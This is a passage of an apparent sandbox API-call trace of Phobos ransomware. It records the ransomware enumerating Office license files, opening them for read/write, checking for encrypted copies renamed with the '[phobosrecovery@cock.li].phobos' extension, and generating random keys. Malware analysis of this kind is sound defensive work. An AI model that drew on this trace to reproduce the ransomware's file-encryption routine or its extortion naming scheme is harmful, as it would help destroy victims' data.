lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.832] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21339) returned 1 [0153.833] CloseHandle (hObject=0x570) returned 1 [0153.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.833] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.834] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11644) returned 1 [0153.834] CloseHandle (hObject=0x570) returned 1 [0153.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.835] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.835] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0153.836] CloseHandle (hObject=0x570) returned 1 [0153.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-pl.xrm-ms")) returned 0x220 [0153.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.838] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.840] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20848) returned 1 [0153.840] CloseHandle (hObject=0x570) returned 1 [0153.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.840] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.841] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11623) returned 1 [0153.841] CloseHandle (hObject=0x570) returned 1 [0153.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.842] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.842] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0153.842] CloseHandle (hObject=0x570) returned 1 [0153.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.843] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.844] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20849) returned 1 [0153.844] CloseHandle (hObject=0x570) returned 1 [0153.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.844] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.845] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11628) returned 1 [0153.845] CloseHandle (hObject=0x570) returned 1 [0153.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.846] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.846] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11195) returned 1 [0153.846] CloseHandle (hObject=0x570) returned 1 [0153.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-pl.xrm-ms")) returned 0x220 [0153.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.851] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.853] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21338) returned 1 [0153.853] CloseHandle (hObject=0x570) returned 1 [0153.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.854] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.855] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11640) returned 1 [0153.855] CloseHandle (hObject=0x570) returned 1 [0153.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.855] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.856] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11175) returned 1 [0153.856] CloseHandle (hObject=0x570) returned 1 [0153.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-pl.xrm-ms")) returned 0x220 [0153.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.857] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.857] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20847) returned 1 [0153.857] CloseHandle (hObject=0x570) returned 1 [0153.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.858] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.859] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11619) returned 1 [0153.859] CloseHandle (hObject=0x570) returned 1 [0153.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.859] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.860] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0153.860] CloseHandle (hObject=0x570) returned 1 [0153.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.861] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.861] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20848) returned 1 [0153.861] CloseHandle (hObject=0x570) returned 1 [0153.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft 